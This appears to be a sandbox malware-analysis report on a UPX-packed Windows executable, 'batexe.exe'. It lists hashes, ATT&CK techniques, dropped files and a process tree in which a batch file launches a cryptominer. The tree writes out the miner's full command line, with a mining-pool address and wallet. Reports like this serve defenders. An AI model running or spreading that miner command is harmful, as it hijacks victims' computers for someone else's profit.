73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 19:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1464	b2e.exe
636	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
636	cpuminer-sse2.exe
636	cpuminer-sse2.exe
636	cpuminer-sse2.exe
636	cpuminer-sse2.exe
636	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4972-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 1464	4972	batexe.exe	85
PID 4972 wrote to memory of 1464	4972	batexe.exe	85
PID 4972 wrote to memory of 1464	4972	batexe.exe	85
PID 1464 wrote to memory of 3892	1464	b2e.exe	86
PID 1464 wrote to memory of 3892	1464	b2e.exe	86
PID 1464 wrote to memory of 3892	1464	b2e.exe	86
PID 3892 wrote to memory of 636	3892	cmd.exe	89
PID 3892 wrote to memory of 636	3892	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\72FD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe

Filesize
5.7MB

MD5
bf5d2c1bed482fab9212867aede8e958

SHA1
9c128afd41ae20ccd3436e76684c0fa2c7919859

SHA256
20c2de0bf8c5c46e04d1e064be896b93b8cc892069515e18bc1fe73a68e4f10e

SHA512
84e74ff54120d85fe9252dcd11b138490fd8709addf3f246ea88528fa32c78b74adb980935e6ac7768ef2739eba05bb6eb5735c2b541fea218e0072a97ef2a60

Download Submit
C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe

Filesize
1.6MB

MD5
4b3e3a3f84660472fb9714cd8feaba1b

SHA1
8561afb6ae0a1ab8a4d8364928811b66fcaf9da9

SHA256
006513b9e4310066d4cb66a1ea11b6619c10e428f5a1ccc39eab92e1d487f442

SHA512
a4ccf4de38da8d27dd065ef09b81a4bca708188c6102211faaa186ddd8f68b87381611da54cb6098758733c799e2a3450cb5cae66b58c29a4264d93f93a1edc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe

Filesize
2.2MB

MD5
2d17fdc6a82f82bad65e207222541c9a

SHA1
9a313f4651ed065295173dafb485d65f84801462

SHA256
8c9ea0e401809694c6159a716dd156f2a3bd5c341752dfb258dff86a143516fe

SHA512
6e02af2ac1df0e2575019b2e1c17756ed6a1fd3fee0231807719398d1ded7653809f61a91375eff788b415fc9474b83e7993c70a2682e5f53df84356f1aa8299

Download Submit
C:\Users\Admin\AppData\Local\Temp\72FD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
3f83c9715950fbf9ccaeb68adb7c4b1b

SHA1
8f07665a4c3aa9ee71f933c909e29c1e7e32e16b

SHA256
42ed98787481ec115a817ef5515fe70544a4e2a9e0d1e675bc7d9901a240b311

SHA512
4495c505a2312fbcb75d26a6f19f38d23c227e06e8ae810e511b9d75570e3bb529959bbb621217e215d65164acb6b702267ae7013aff5cb7a874da2d7980c925

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
b410d5fdff54f079ce582771e0ffad85

SHA1
bc920c2b99b9f5c6a3af0ee1e9802c6fed636447

SHA256
a8058bc72b6f08e315499f06fff2ee9eb996eaa78978ac4fbde0aa604efa2173

SHA512
f87723353c03f5c1c45bba6b108da468cc973b70f3545acb6cc923280fb7c9dffb3d1f8f2e6a7b78df6d2e3c1a798abc3be09531ac6d02522e610aa418a5df87

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
5ec13eb34ed392073583d50ec51c0481

SHA1
c2d38393af5af9d1e14e12b0fcfe73b48127f217

SHA256
12070a49b3ee218e79e06af3f38c3d9c47559962369d1fab4181f55dc3315ae1

SHA512
0d7b4d683edd9dbe864b3a064f8cb6985b1bffe9ff2faf376d9e2b307ffae20b44ac0814dd1289323da73e262c39ed9d64bdf085a6e698a2605fa6b8d8963bf5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
5bfe84af06f5328d33c71dfaddfb738f

SHA1
42ca48fdd0c6400951c2bfceb6d8f51eea144f71

SHA256
ab4c18b9dedecff4ab58a164082dcc97ce7fae478d94dbded78517775ef8e3bf

SHA512
316bb0611b48a4a6f0f2841d9b7d5ba8aad52dee3502dd661dd19f48113d6893c8f4dc88aaaec0895e1b7ce35ea745f6042830b50f4c89528e676281c354d62e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
5d1ddaff373a3a2d65ee44558e4eb662

SHA1
286e622489904a8cb71102d6b497836f7b35e5da

SHA256
f63f958fcc1fd265e6063521a67a29813f91a87f12eb532088aa21f649c69ce5

SHA512
d2408d2e30b201000d5491dfd0da24e2435abfc97a4ac3e9c88df6d87cefb73c11b8a8d725f8392a4500018bddcfb4e6b30987202a7736e213cada359e869ba1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/636-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/636-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/636-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/636-47-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/636-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/636-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1464-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1464-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4972-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download